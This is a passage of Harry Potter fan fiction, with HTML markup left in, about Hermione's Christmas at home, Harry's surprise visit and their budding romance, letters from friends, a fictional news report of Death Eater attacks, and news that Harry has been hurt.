the stress relief.&quot; I tiled my head, looking towards my mom.</p>\n\n<p>	&quot;He&#8217;s not the only one. You my dear Nene, look like you haven&#8217;t slept in years. Are you missing someone?&quot; She helped tuck a strand of hair behind my ear.</p>\n\n<p>	&quot;Of course I am. I mean there is Harry, Ron, Ginny, and&#8230;&quot;</p>\n\n<p>	&quot;Roger,&quot; Mom interrupted. <i>What?</i></p><i>\n\n</i><p>	&quot;I guess I missed him too.&quot; I started biting my lower lip. <i>To be honest, I had not thought of him much since my return.</i></p><i>\n\n</i><p>	&quot;You guess? The boy you have been dating only gets an I guess. Harry didn&#8217;t say you fought or anything.&quot; She thoughtlessly said out loud.</p>\n\n<p>	&quot;What has Harry been telling you?&quot; I shouted out. <i>Why would he tell my mom?</i></p><i>\n\n</i><p>	&quot;Oh well he just wrote about you dating Roger. It wasn&#8217;t a big deal. Nothing you haven&#8217;t told me.&quot; Her tone carried no hidden meaning. &quot;Besides he was just making sure you didn&#8217;t let his absence bother you.&quot; <i>Nothing else?</i> &quot;He is a rather sweet boy to keep that consideration for you.&quot; <i>Roger&#8217;s or Harry&#8217;s absences that bothers me. Harry Potter what are you playing at?</i></p><i>\n\n</i><p>	&quot;He has his moments.&quot; I huffed out loud. She started laughing at my tone of voice.</p>\n\n<p>	&quot;Yes, well all boys do. Anyway the reason I&#8217;m here was to say how much I missed you.&quot; She took my hand. &quot;Don&#8217;t interrupt. Since you have returned, we haven&#8217;t had a real chance to talk. Long letters and variety of photos just don&#8217;t make up for lost time. When you came through that wall, I saw something different in you. I thought, oh no she has gone and changed again. But you know what I have realized these past few days?&quot; I shook my head. &quot;You haven&#8217;t changed but you seem to have learn about something important to you. Now I have no idea if it has to do with school, boys, or being an older sister. What I do know is that you have an aura around you that makes me proud.&quot; She stopped with tears streaming down her face. I lifted my hand to wipe them away, when I felt my own tears on my face. &quot;Nene no matter what it is, it will never just disappear. I love you, always will and never half way.&quot; She gently stood up and kissed my forehead. &quot;Good night&quot; and she walked out the door making the best exit scene ever.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	Meow&#8230;purr&#8230;Meow&#8230;</p>\n\n<p>	&quot;I&#8217;m up. I&#8217;m up.&quot; I wiped away the wet spot left from Crookshanks licking. &quot;Do you do this to mom and dad when I&#8217;m away?&quot; Crookshanks only started at my tired expression. <i>Great I am talking to a</i>\n\n<i>cat now</i>. I looked to the clock to see 10:30. <i>Why didn&#8217;t anyone wake me?</i> Anxiously I threw on sweater and ran down the stairs.</p>\n\n<p>	I entered into the kitchen to smell my mom&#8217;s traditional Christmas tree pancakes. Around the table sat my dad with his tousled hair and morning coffee. Winston sat across from him enthusiastically discussing his new project. I saw my mom still at the stove preparing breakfast.</p>\n\n<p>	&quot;The lady awakes from her slumber.&quot; Winston pulled a seat out for me. I smiled and sat down. </p>\n\n<p>	&quot;Breakfast is served.&quot; My mom placed pancakes, eggs, and sausages down. Automatically dad stood helping mom onto the chair.</p>\n\n<p>	&quot;Mom why didn&#8217;t you wake me? I could have done this for you.&quot; I handed more sugar towards my dad. </p>\n\n<p>	&quot;Well it&#8217;s tradition for me to make evergreen pancakes. Besides we all just woke up anyway.&quot; She winked.</p>\n\n<p>	&quot;Sunshine do you want to talk all day or finish breakfast so we can open presents.&quot; </p>\n\n<p>	&quot;What do you think Dad?&quot; I grabbed more sausages onto my plate. </p>\n\n<p>	Soon we sat around the fireplace each with our own pile of gifts. We decided to open our individual presents before opening each other&#8217;s. First I began with the Weasley family. Mainly everyone gave me an assorted amount of quills, sweets, and unsurprisingly books. I did like the peacock quill from Ron the most. Then I chuckled at the gift Blaise sent me. Living with Lavendar and Parvati, I had become accustomed to very strong perfume. Yet it didn&#8217;t mean that I liked it. Well Blaise usually heard my rants of how much they wore. So she sent me dark blue filter curtains to surround my bed. All I had to do was replace my dorm&#8217;s curtains and I would be scent free in my bed.</p>\n\n<p>&quot;Hermione, Merry Christmas,&quot; Winston placed a rectangular gift in front of me. I pulled apart the wrapping paper to see a large volume of pages. &quot;I know how you like to read. So I thought you would enjoy this.&quot;</p>\n\n<p>	&quot;I do. Thank you Winston.&quot; I turned to give him a hug. &quot;I was always interested in Chinese Mythology.&quot;</p>\n\n<p>	&quot;Sunshine this is from the both of us.&quot; Dad held out a Christmas card. Looking puzzled, I opened the card to see an airplane ticket. Reading the destination, the words Hong Kong sprang out. <i>I&#8217;m going to</i>\n\n<i>Hong Kong</i>. Sensing my shock, they chuckled at their success.</p>\n\n<p>	&quot;Nene you have always said you wanted to visit Winston and was curious at what he does. Well this summer you will.&quot; Mom grinned madly.</p>\n\n<p>	&quot;I have been working on a new project where I would like you to help me with it. Mainly you&#8217;ll be teaching English to certain village children. Nothing to exciting, but you&#8217;ll be traveling with me around the Pacific.&quot;</p>\n\n<p>\n\n<i>Is he kidding? Not exciting! I&#8217;m going to Hong Kong. I finally get to see the Pacific Ocean. No</i>\n\n<i>more story books but literally feel the salt water</i>. Finally I reacted and squealed in delight. I jumped up and down screaming. &quot;I&#8217;m going to Hong Kong! I&#8217;m going to Hong Kong!&quot;</p>\n\n<p>	&quot;Honey I think she likes it.&quot; Dad placed an arm around my mom.</p>\n\n<p>	&quot;I knew she would.&quot;</p>\n\n<p>After all the commotion, I recollected my jumbled thoughts. <i>Where was Harry&#8217;s gift?</i> Sadly I didn&#8217;t have time to think about it. My dad quickly pulled me into the kitchen to work on Christmas dinner. While we were busy, Winston and my mom discussed about the baby and related issues about him.</p>\n\n<p>	Soon the bustle in the kitchen stopped and the aroma filled my nostrils. With a mixture of honey-roasted ham and baked golden potatoes, we had made another successful meal. The doorbell rang and I hurried to receive the returning couple. Opening the door, I saw their newly occurred tan from their recent vacation. Andrew looked exactly the same though. He had his clean-cut brown hair and wire rimmed glasses. His light brown eyes widen at my presence. With a cheerful grin, Andrew pulled me into a hug.</p>\n\n<p>	&quot;And the little girl finally returns home. I don&#8217;t know how your parents can send you so far away. But I&#8217;m glad to see your charming smile again.&quot; He winked smugly.</p>\n\n<p>	&quot;Becareful Uncle Drew, I don&#8217;t want Aunt Rosemary mad at me.&quot; I turned to hug his lovely wife.</p>\n\n<p>	&quot;No worries Hermione. I know you&#8217;ll never want him. He is to big of a geek even for you.&quot; Her apple green eyes shined with humor.</p>\n\n<p>	&quot;My wife the regular comedian.&quot;</p>\n\n<p>	&quot;I thought she was an accountant.&quot; My dad appeared in the entranceway.</p>\n\n<p>	&quot;Don&#8217;t start with me Granger.&quot; Andrew patted dad&#8217;s shoulder.</p>\n\n<p>	&quot;I was just asking.&quot; Dad smiled cordially.</p>\n\n<p>	&quot;Will you two every act your age?&quot; Rosemary and I strolled towards the main room.</p>\n\n<p>	&quot;No,&quot; they both chuckled to themselves. <i>Men, always the same no matter the age.</i></p><i>\n\n</i><p>	We walked into the dining room, to see that Winston and my mom already set the table. A variety of dishes sat in the middle screaming to be eaten. We started to settle down when I realized that we had an extra setting set.</p>\n\n<p>	&quot;Mom you miss counted.&quot;</p>\n\n<p>	&quot;Oh he&#8217;ll be here any minute.&quot; She causally said sipping from her apple cider. <i>Who else did we</i>\n\n<i>invite?</i>\n\n</p>\n\n<p>The doorbell rang again, when my dad was about to cut the ham. &quot;Sunshine do you want to get the door while I finish cutting the ham.&quot; I nodded and left to meet the unknown guest.</p>\n\n<p> Placing my hand on the knob, I had this strange feeling of what my parents were hiding. Preparing for the cold, I wasn&#8217;t ready for what I saw before me.</p>\n\n<p>	&quot;Merry Christmas Hermione!&quot; Harry stood irresistibly with Bill behind him. <i>Oh bloody hell!</i></p><i>\n\n</i><p>	&quot;I think she&#8217;s awe struck by us Harry.&quot; Bill replied in a witty manner. Noting the tension between us, Bill cleared his throat again. &quot;Well I leave you in good hands Harry. Merry Christmas.&quot; He patted Harry&#8217;s shoulder. &quot;Good bye Hermione!&quot; Bill chuckled at my expression and apparated.</p>\n\n<p>	<i>Harry&#8217;s here. He is standing right in front of me. Am I dreaming?</i> I raised my hand to pinch his cheek. &quot;Ouch! Nene what did you do that for?&quot; Harry yelped walking in to the house himself. I staggered back as he moved closer.</p>\n\n<p>	&quot;You&#8217;re real. You are actually here.&quot; I rubbed the redness on his cheek.</p>\n\n<p>	&quot;I know. I just didn&#8217;t like the idea of not seeing you for two weeks. I just wanted to&#8230;&quot; I grabbed his head between my hands.</p>\n\n<p>	&quot;Shut up and kiss me!&quot; Those lips crashed onto mine and I&#8217;m not certain if I could describe the feeling soaring through me. My knees started to buckle and I felt lightheaded. All I could feel was his arms tighten around me. He felt soft as snow. His touch was sending chills up mine spine. <i>I knew it wasn&#8217;t Christmas without snow.</i></p><i>\n\n</i><p>	Pulling away I saw a boyish smile creep up his face. <i>He looks so adorable!</i> His eyes darted to my flustered face and he started grinning smugly. <i>Okay he looks like his ego is swelling</i>. I tugged on to his shirt and dragged him towards the dining room. &quot;Come on, I&#8217;m sure my parents have been expecting you.&quot;</p>\n\n<p>	&quot;How did you guess?&quot; He placed his arms over my shoulder.</p>\n\n<p>	&quot;I think it was the extra plate setting.&quot;</p>\n\n<p>	&quot;Ah&#8230;to observant for your own good.&quot; Harry kissed my ear.</p>\n\n<p>	&quot;I believe it saved you plenty of times.&quot;</p>\n\n<p>	&quot;That&#8217;s why I&#8217;m not complaining.&quot; Then we entered in the room greeted by the smiling adults.</p>\n\n<p>	&quot;Harry my boy, meet Winston.&quot; Dad hollered when seeing Harry again<i>. He looks like he just found his lost car.</i></p><i>\n\n</i><p>	&quot;So you&#8217;re Harry. Doug never stops talking about you.&quot; Winston throw his hand out, shaking Harry&#8217;s cheerfully. Soon hugs, handshakes, and witty comments were traded around the room. <i>Why is it</i>\n\n<i>that everyone I know is sarcastic?</i> The fuss soon died down and we finally had our Christmas dinner.</p>\n\n<p>&nbsp;</p>\n\n<p>	Knock, Knock</p>\n\n<p>	&quot;Come in,&quot; I answered brushing my hair. <i>It&#8217;s good to be brunette again</i>. Harry entered and then sat quietly on my bed. He didn&#8217;t say a word but sat there staring at the floor. <i>Oh no, something happened</i>. He looked up and I gave him a small smile. Harry returned the gesture but I noticed it was very forced. <i>I wonder if he wants to talk about it.</i> I finished my brushing and gently kneeled in front of him. Harry made no attempt to speak so I started to hum Silent Night. <i>I&#8217;ll give him time to think.</i></p><i>\n\n</i><p>	Uncomfortable from kneeling, I moved to sit besides him. His elbows were propped up on his lap while his head lay between the palm of his hands. He was motionless. I raised my hand and slowly ran my fingers throw his hair. <i>I hope this helps him to relax</i>. I felt his body move and found him laying his head on my lap. Getting over the sudden position, I continued to massage his forehead. Rubbing away his worries, I sent telepathic signals to him. <i>What&#8217;s wrong? Harry you can tell me. I&#8217;m listening</i>.</p>\n\n<p>	&quot;I just had a talk with your dad.&quot; Harry&#8217;s voice seemed hollow and strained.</p>\n\n<p>	&quot;What did you talk about?&quot; <i>Oh daddy what did you do?</i></p><i>\n\n</i><p>	&quot;He told me about your summer. How you&#8217;re going to Hong Kong and stuff. Then he asked me what I was doing this summer. I told him I always stayed with the Dursleys.&quot; Harry winced in memory of them. &quot;Anyway he started talking about this reunion he always has with his cousins.&quot;</p>\n\n<p>	&quot;Oh you mean the Granger father&#8217;s runaway.&quot; Harry snuggled closer, like he was seeking warmth.</p>\n\n<p>	&quot;Yeah and that you usually go with him.&quot; His mouth brushed against my knee.</p>\n\n<p>	&quot;Yes I do. I absolutely forgot about it.&quot;</p>\n\n<p>	&quot;Well he didn&#8217;t.&quot; I sensed a problem coming up. &quot;He asked me to go with him.&quot; <i>Really?</i> I suddenly stopped my movements.</p>\n\n<p>	&quot;What did you say?&quot;</p>\n\n<p>	&quot;I thought it was about dad&#8217;s bringing their children.&quot; Harry answered indirectly. &quot;And he said it was. So I asked him why bring me?&quot; <i>What is bothering him?</i></p><i>\n\n</i><p>	&quot;What did he say Harry?&quot; I tried pushing to find the problem.</p>\n\n<p>	&quot;He said he thought of me as a son.&quot; His voice was barely a whisper but I heard it clearly in my ears. A long pause fell between us and unknown tension emitted from Harry. <i>Dad actually said that?</i>\n\n<i>I knew he liked Harry. Of course he would Nene, dad adores Harry. He thinks Harry is amazing.</i></p><i>\n\n</i><p>	Trying to ease the moment, I stood up with a wide grin. &quot;Harry that is great. You&#8217;ll love it. A whole week of goofing off with money making men. You get to do anything you want without the worry of cost. Besides you deserve to be spoiled a little.&quot; Harry slowly nodded to my response. <i>What&#8217;s really the</i>\n\n<i>matter?</i> &quot;Harry what&#8217;s the problem?&quot; </p>\n\n<p>	&quot;I just can not believe your dad would want me to go with him. I mean I&#8217;m not his son. I haven&#8217;t known him that long. And now he wants to bring me along to a family tradition.&quot; Harry looked up with confusion splashed across his face.</p>\n\n<p>	&quot;He&#8217;s heard enough from me to know who you are.&quot; I confidently answered.</p>\n\n<p>	&quot;That&#8217;s the problem! Why would he want to treat me like a son?&quot; He stated louder.</p>\n\n<p>	&quot;Harry anyone in this world would want a son like you. You&#8217;re an amazing person with so much character it&#8217;s hard to pinpoint which one to describe. I mean Mr. Weasley, Sirius, and even Hagrid would have you if Dumbledore let them.&quot;</p>\n\n<p>	&quot;But that&#8217;s it. They&#8217;re all wizards. They want me because I&#8217;m Harry Potter.&quot; He stood walking towards the window. I sighed with sadness at how he didn&#8217;t realize how important he is. </p>\n\n<p>	&quot;You know that is not the reason.&quot; I calmly spoke. &quot;You may be the boy-who-lived. You may be the &quot;Great&quot; Harry Potter. But in our eyes, your Harry James Potter. They know you care so much about them that you would die for them. And you know what Harry? They would do the same for you. Anyone would do the same for you.&quot; </p>\n\n<p>	&quot;But&#8230;&quot; Harry turned to face me. &quot;But you have to admit it is a small portion inside their heads.&quot; I sighed again because honestly I didn&#8217;t know. Not growing up with Harry&#8217;s name in every corner of the world, I didn&#8217;t know how much it did effect people. Harry spoke, breaking my train of thought. &quot;It is just amazing that your dad would care for me. I mean he&#8217;s never heard of me until you. </p>\n\n<p>	&quot;Why is that so amazing?&quot; I slowly inched closer towards him by the window.</p>\n\n<p>	&quot;Nene, I had spent 11 years of my life being told I was nothing. No one cared, empathized, or loved. I was just worthless to them. I was just baggage. A charity cause. They felt proud of themselves because they provided for someone lower then them.&quot; His voice carried hurt and pain. I was openly crying never hearing so much despair stumble out of his mouth.</p>\n\n<p>	&quot;Harry stop!&quot; I shouted out. &quot;You are worth more than a billion Dursleys. You are not nothing. Without you the Dursleys probably wouldn&#8217;t be living. Without you no one would be living a life with care, empathy, or love. Without you I would have never met you.&quot;</p>\n\n<p>	We started at each other openly not masking any hidden feelings. Emotions and thoughts swam inside both our heads, which was the most frightening experience for me. <i>I had never</i>\n\n<i>expressed so much love to one person besides my parents.</i>\n\n<i>Wait&#8230;did I just say love? I don&#8217;t think</i>\n\n<i>I said love out loud</i>. Shivering, I saw Harry step closer to me. He wasn&#8217;t crying but I could see the unshed tears wanting to spill out.</p>\n\n<p>	&quot;You&#8217;re right.&quot; He murmured. &quot;It&#8217;s just still hard to understand. I mean people actually like me. You actually like me.&quot; Harry smiled with a pure devotion. &quot;Thank you.&quot; He reached out and entwined his hands with mine.</p>\n\n<p>	&quot;Anytime,&quot; I felt a soft fleece material against my hand. Looking down, I saw the Christmas gift I had given to Harry sticking out from his pocket. Since he did everything with glasses on, I always saw how dirty it could be. So with Blaise&#8217;s unrecognizable ability to sew, I embroided his name onto a gold handkerchief. Harry noticed where my eyes were focused and squeezed my hand to regain my focus. Clearing his throat, he apprehensively pulled out a small box from his other pocket.</p>\n\n<p>	Unwrapping the awaiting gift, I found inside a metal key. &quot;A key?&quot;</p>\n\n<p>	&quot;It&#8217;s a copy to my vault in Gringotts. If anything were to happen to me, I want you to have all of it.&quot; I stared dumbfounded at his present. &quot;You always said its better to be prepared then bored. Besides I like the idea of you having it, then the Ministry of Magic.&quot;</p>\n\n<p>	<i>Wow!</i> &quot;Thank you for trusting me with this.&quot; <i>I can&#8217;t believe he gave me this</i>.</p>\n\n<p>	&quot;Don&#8217;t thank me for trusting you. I should be doing that to you.&quot; Harry lifted my chin. &quot;Now I think we have talked enough.&quot; I saw amusement sparkle in his eyes.</p>\n\n<p>	&quot;What do you have in mind?&quot; I innocently answered.</p>\n\n<p>	&quot;How about I show you?&quot;</p>\n\n<p>	&quot;Even better.&quot; And our lips were moving but voices were not heard.</p>\n\n<p>&nbsp;</p>\n\n<b><p>Dear Blaise,</p>\n\n<p>	My Christmas was amazing. I received an airplane ticket from my parent&#8217;s, which is going to my dream spot. Yes I&#8217;m going to Hong Kong. Remember Winston? I told you about him right? Well he runs a program along the South Pacific and he is letting him join him this summer. I was literally bouncing for joy. And you know I rarely do that. I think I have never heard my parents laugh so hard at me. Go ahead and laugh. I know you probably are at mentally picturing me doing that.</p>\n\n<p>	Anyway you would never guess who showed up at my door Christmas night. No it wasn&#8217;t Roger. It was Harry. Yes, yes I know. You can insert the &quot;I told you so.&quot; I guess I never would have thought that Harry would miss me that much. I know you think that we can&#8217;t survive without each other. I always thought you were wrong. But lately I&#8217;m starting to believe that you are right. I received a letter from Ron yesterday saying that he wishes he were here with us as well. But even though I miss Ron, it didn&#8217;t seem too bad with Harry by my side. To be honest Blaise, I&#8217;m extremely confused. I don&#8217;t know what I am feeling? It&#8217;s so jumbled together that I don&#8217;t know where it begins or ends. I know you are probably wondering what I am talking about. I promise I&#8217;ll tell you everything when we meet again. There is a lot I haven&#8217;t told you or anyone for that matter. Don&#8217;t be mad.</p>\n\n<p>	On a lighter note, how&#8217;s your father and the wicked stepfamily? You didn&#8217;t transform anything dangerous at them did you? I hope you had nice Christmas. I know your stepmother can be overly annoying but she is still your dad&#8217;s wife. Did you like my gift? I hoped you liked it. I know your family doesn&#8217;t like muggle things, but when I saw it I thought of you. </p>\n\n<p>	Well I better go. My mom and dad are fussing over Harry, and he will not stop sending me pleading glances. I hope to hear from you soon and tell me if you are free on New Year&#8217;s Eve. We should meet in London like we usually do. </p>\n\n<p>	Hermione</p>\n\n</b>\n\n<p>&nbsp;</p>\n\n<b><p> Nene,</p>\n\n<p>	These past few days have been great. I never felt so cared for before. I mean Mr. and Mrs. Weasley are always sweet to me but they have their own seven kids to worry about. With your family, I feel like I have their full attention. You are probably screaming and biting your lip like crazy. Well don&#8217;t worry. I&#8217;m safe. I know I should have told you I was going to leave. Sirius and Remus needed to meet with me. I really didn&#8217;t want to go but I had to Hermione. Please believe me when I say I didn&#8217;t want to leave you. I&#8217;m going to be returning to Hogwarts so I will not see you until after vacation. I&#8217;m sorry. I know your worried sick. I know you probably would have wanted to come with me. But Nene, I didn&#8217;t want to say no to you. I know I&#8217;m not making senses. You&#8217;re extremely confused and annoyed. You&#8217;re probably going to severally hurt me when I see you again. That&#8217;s why I wrote this to you. I&#8217;m still not strong enough to tell you things in person. Forgive me please, and I hope you understand.</p>\n\n<p>	Harry</p>\n\n</b><p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p> 	Daily Prophet 	 	 December 29, 1995</p>\n\n<p>Are the Rumors True?</p>\n\n<p>By Penelope Clearwater</p>\n\n<p>Since the fateful night of when You-Know-Who was destroyed, we have spent eleven years rebuilding are world. Our lives continued and we pushed aside the time were darkness surrounded us. Yet these past four years, there has been hush tones and whispering secrets of His return. But now these rumors are quiet no more. </p>\n\n<p>Last night in the city of Barcelona the Death Mark was seen flying in the sky. Identical to the one seen last year at the World Cup Quidditch Championship, chaos ran through the streets of muggle and magical neighborhoods. Figures in black robes were seen chasing wealthy bureaucrats and retired ministers. Have the Death Eaters returned? Has their master called for their purpose again? Are the rumors true? Has the Dark Lord really reappeared after so many years lost in this world?</p>\n\n<p>Officials speculate that the attacks were related to burglary and old feuds towards the ministers. Though many were saved from the attacks, a muggle security guard and seven employees were killed. The famous Potions Master Ludwig van Gustoven&#8217;s wife was reported missing along with muggles, Dona Marie and Carlos Lupe. The representative of International Confederation of Wizards only responded with this comment.</p>\n\n<p>&quot;We are currently working to find the origin of the Death Mark seen the night of December 28. As for the speculation of Death Eaters, we reassure everyone in the magic community that, it is only heresy. Our condolences to those who have left us and missing from last night attacks. We will do anything in our power to found the cause of this tragic event.&quot;</p>\n\n<p>Yet even with these confident reassurances, Aurors were able to find half a dozen possible Death Eaters unconscience and bound together. They are currently being held for further investigation. Auror Mcmann sent by the British ministry responded with this statement. &quot;We found these men already fasten together quickly after the attacks. As for their role in the incident is it still being searched for at the moment. Many think it may have something to do with the Dark Lord but we are unsure at present time. The future is uncertain but we know someone is watching out for us.&quot;</p>\n\n<p>So as the Minister of Magic Cornelius Fudge has repeatedly continued to deny the return of the Dark Lord, we have stumbled across a dubious hero in our mist. So on behalf of the magic community, thank you willing leader for continuing to fight the evils that may have returned. </p>\n\n<p></p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Hermione are you all right?&quot; Winston spoke behind me from the stairway. I quickly folded the newsletter from his view.</p>\n\n<p>	&quot;I&#8217;m fine. I was just thinking.&quot; I walked towards the fireplace.</p>\n\n<p>	&quot;I understand what you mean. I get bored when I have nothing to do.&quot; He sat down on the sofa. <i>I wasn&#8217;t bored. Absolutely worried is more like it. Nene just shut up and agree with what he said.</i></p><i>\n\n</i><p>	&quot;So I&#8217;m not the only workaholic here.&quot; I replied glancing back feeling the warm fire.</p>\n\n<p>	&quot;Oh look at the time. I should call my assistant.&quot; He prepared to leave. &quot;Hermione?&quot;</p>\n\n<p>	&quot;Yes,&quot; I jolted thinking that he had already left.</p>\n\n<p>	&quot;If you miss Harry, just write to him.&quot; Winston winked and strolled away leaving me to my thoughts. <i>Am I really obvious? No, he&#8217;s a doctor of course he can see things. Oh Harry where have you gone? Why couldn&#8217;t you tell me where you went?</i></p><i>\n\n</i>\n\n<p>&nbsp;</p>\n\n<b><p>Dear Mione,</p>\n\n<p>The family sends their regards and hope you are having a great vacation at home. I have been training for the past few days so I haven&#8217;t had time to do much of anything else. As for Harry I&#8217;m sure he just needed to meet with them. I don&#8217;t think it had anything to do with training. But to be honest, he didn&#8217;t even tell me he was meeting them. He just told us that he wanted to surprise you and Bill volunteered to bring him to your house. Don&#8217;t worry too much. They are great wizards and you know Harry can handle himself. Again I have no clue where he went. So please don&#8217;t be mad at me since I can&#8217;t tell you anything specific. Wait&#8230;I just got an owl. It&#8217;s from Harry. He&#8217;s coming back to Hogwarts soon. See I told you not to worry. You&#8217;ll see us perfectly safe after the vacation. On a different note, the attacks in Barcelona are spreading like wildfire. Percy is going crazy because he wants to return to work. He would if mum and dad didn&#8217;t threaten to disown him if he left our reunion early. Percy then sent a long letter to Penelope asking how she is doing in Spain. I personally think he&#8217;s just trying to get more information about the attacks. Well I better go, mum wants me to help her do something. Wish I could be there for you. Harry will be here soon, so don&#8217;t fret. Try and relax okay? Promise that you will not have a swollen lip from biting it too much.</p>\n\n<p>	Ron</p>\n\n</b>\n\n<p>	&quot;You know when you asked to meet me, I wasn&#8217;t expecting the sullen Hermione.&quot; Blaise stirred her espresso from the whipped cream. </p>\n\n<p>	&quot;You can leave if you want then.&quot; I looked away staring out the window from the corner of the tiny coffee shop. It was our tradition to have coffee every New Years Eve. Blaise lived in an apartment in Soho and spent much of her time in downtown London. This coffee shop was only 5 minutes away from her sophisticate and modern flat.</p>\n\n<p>	&quot;Cut the attitude and tell me what&#8217;s wrong.&quot; She leaned back tapping her fingers on the table.</p>\n\n<p>	&quot;I&#8230;sorry for snapping at you.&quot; I glanced apologetically at her.</p>\n\n<p>	&quot;Hermione you want to talk. It&#8217;s written all over your face. Now you know I hate guessing games, so just tell me what&#8217;s bothering you.&quot; Blaise gave me one of her rare honest smiles.</p>\n\n<p>	&quot;It&#8217;s Harry.&quot; </p>\n\n<p>	&quot;You said he was going back at Hogwarts. What&#8217;s the problem?&quot; She raised her left eyebrow. &quot;Unless this has to do with what you&#8217;re feeling about him.&quot;</p>\n\n<p>	&quot;Yes it is.&quot; I gulped my white mocha. &quot;I never told you that he kissed me.&quot; She spitted coffee out, hitting the waiter. </p>\n\n<p>	&quot;What!&quot; Blaise shouted towards me. &quot;Sorry Roy,&quot; the waiter walked away shaking his head at us. &quot;When in sweet Merlin did he do that?&quot;</p>\n\n<p>	&quot;Well it didn&#8217;t happen to long ago and you have been so busy&#8230;&quot;</p>\n\n<p>	&quot;When?&quot; Her tone was commanding.</p>\n\n<p>	&quot;That weekend when I was sick from my allergic reaction.&quot; I bite my lips nervously. <i>I hope she doesn&#8217;t get mad.</i></p><i>\n\n</i><p>	&quot;What! It&#8217;s been nearly a month. You haven&#8217;t told me in these past 4 weeks. I was in the library all those times and you didn&#8217;t tell me.&quot; She calmly yelled from across the table. <i>She took that nicely.</i></p><i>\n\n</i><p>	&quot;It&#8217;s complicated Blaise. I mean I have no idea what we are. Harry hasn&#8217;t officially said that we are dating. I literally have not heard Harry say that he likes me.&quot; I tried justifying my secret.</p>\n\n<p>	&quot;Hermione, don&#8217;t give me that crap. When two people kiss, that means they like each other. Hell if not at least they are attracted to each other. Besides a boy who isn&#8217;t your boyfriend, shows up Christmas night because he misses you screams the obvious.&quot; She regained her composure and continued to drink her espresso.</p>\n\n<p>	&quot;But he never shows his affection in public. He acts normally when we are around other people. The most he has ever done is hugs or touches in front of Ron. But that&#8217;s Ron!&quot; I leaned forward placing my arms on the table.</p>\n\n<p>	&quot;He&#8217;s Harry Hermione. From what you have told me, I&#8217;m sure he just doesn&#8217;t want the extra attention. I mean you both are shy people. I know you wouldn&#8217;t like the extra focus on you two.&quot;</p>\n\n<p>	&quot;But he acts bipolar. It is extremely confusing. I mean why can&#8217;t he show some thing. I mean look at Roger he expresses what he thinks about me.&quot; She quickly interrupted.</p>\n\n<p>	&quot;You&#8217;re dating Roger because he declares his feelings out loud.&quot;</p>\n\n<p>	&quot;Yes&#8230; I mean no.&quot; I shook my head. &quot;Honestly I don&#8217;t know why I&#8217;m dating him. At first I actually thought there was a chance for him but there is Harry. Whenever I looked at Roger I wish he was Harry. And whenever Roger says something, I wish Harry would say that to me. Roger just seems reliable in his feelings. I know where we stand.&quot;</p>\n\n<p>	&quot;So you&#8217;re dating him because he&#8217;s safe.&quot; She pushed aside her coffee.</p>\n\n<p>	&quot;I guess I am.&quot; I murmured out loud.</p>\n\n<p>	&quot;Then I feel sorry for you Hermione. Relationships aren&#8217;t like books. You don&#8217;t know the answer or the ending to the fairly tale story. You don&#8217;t get reliable responses or safe remarks. It&#8217;s all uncertain. It&#8217;s all confusing. It&#8217;s not suppose to be safe each time. And most importantly that, it&#8217;s the way life goes.&quot; Blaise started drawing circles on the table. &quot;I don&#8217;t empathize with you Hermione. You don&#8217;t have a major issue here. All you need to do is talk to Harry.&quot;</p>\n\n<p>	&quot;I know. You&#8217;re right. I guess I needed someone to tell me what I needed to do.&quot; I reached across to squeeze her hand. &quot;Thanks B for listening.&quot;</p>\n\n<p>	&quot;It&#8217;s what I&#8217;m here for.&quot; She smirked back. &quot;Oh and ditch the Roger kid.&quot;</p>\n\n<p>	&quot;Yes I know. I will talk to him when I get back to Hogwarts. I&#8217;m going to miss hanging out with him though. We had some great debates.&quot; I smiled at Roy pouring us more coffee. &quot;But he deserves someone who really likes him.&quot;</p>\n\n<p>	&quot;So you wouldn&#8217;t mind if I dated him?&quot; She leaned against her chair comfortably.</p>\n\n<p>	&quot;I thought you didn&#8217;t like him.&quot; I drank my hot mocha.</p>\n\n<p>	&quot;I said he was up-tight.&quot; She smiled. &quot;Besides he has a cute butt.&quot; I spat coffee all over Roy. </p>\n\n<p>	&quot;What!&quot; She winked and got up to help Roy. </p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Mom, Dad, I&#8217;m home.&quot; I walked into the house looking for my parents. I turned the corner and saw my parents quietly sitting in front of the fireplace. Sensing something wrong, I kneeled besides my mom&#8217;s leg. &quot;What&#8217;s wrong?&quot; They were silent but then dad handed me a note.</p>\n\n<b><p>Dear Mione,</p>\n\n<p>I wish I had a better way of saying this but I can&#8217;t. Harry has been hurt. I can&#8217;t say anything specific because I don&#8217;t even know myself. He returned today with Sirius beaten up and Remus bleeding like crazy. Charlie said we were lucky that no one saw them or Aurors would have been surrounding the school in an instant. They are all unconscious so we don&#8217;t know what happened. Actually I think I&#8217;m the only one who doesn&#8217;t know what happened. Mione you&#8217;re right. They didn&#8217;t tell us something. I think it does have something to do with training. I&#8217;m still sitting beside him and I will not leave his side until you get here. I&#8217;ll watch him Mione. Be calm and don&#8217;t freak. I&#8217;m here for him. Just remember that he&#8217;s safe now.</p>\n\n<p>	Ron</p>\n\n</b><p>	&quot;I have to go to him. Harry&#8217;s hurt. He&#8230;I have go to back to school.&quot; I stood up crying frantically.</p>\n\n<p>	&quot;No Sunshine you can&#8217;t.&quot; </p>\n\n<p>	&quot;What are you talking about dad? I&#8217;m going and you&#8217;re not stopping me.&quot; I wanted to run up the stairs but he grabbed my wrist.</p>\n\n<p>	&quot;No you will not leave. Your Headmaster sent me a letter saying that it would be best for you to stay until vacation was over. Now I didn&#8217;t agree with him but then he said it was for your own safety.&quot;</p>\n\n<p>	&quot;I am safe dad. It&#8217;s Harry that&#8217;s hurt. I need to go to him.&quot; I was shaking from pain and sorrow.</p>\n\n<p>	&quot;He&#8217;s the one safe now. I&#8217;m not risking you getting hurt. And I know he wouldn&#8217;t want you getting hurt as well.&quot; He calmly answered while pulling me into a crushing hug. I started to cry uncontrollable wanting so much to go back. <i>He needs me. Harry is hurt. You don&#8217;t understand. I need to know that he&#8217;s all right. I need to see for myself. </i></p><i>\n\n</i><p>	&quot;Nene I know how you feel.&quot; Mom spoke gently. &quot;You&#8217;re aching all over and you don&#8217;t know why. But Nene there is nothing else we can do. All you can do now is be strong until school starts and then you can see him again. For now I think we have more important things to do.&quot; She ordered out her last sentence.</p>\n\n<p>	&quot;Mom Harry is important!&quot; I screamed. </p>\n\n<p>	&quot;I know but I think the baby is too.&quot; She looked up towards my dad. 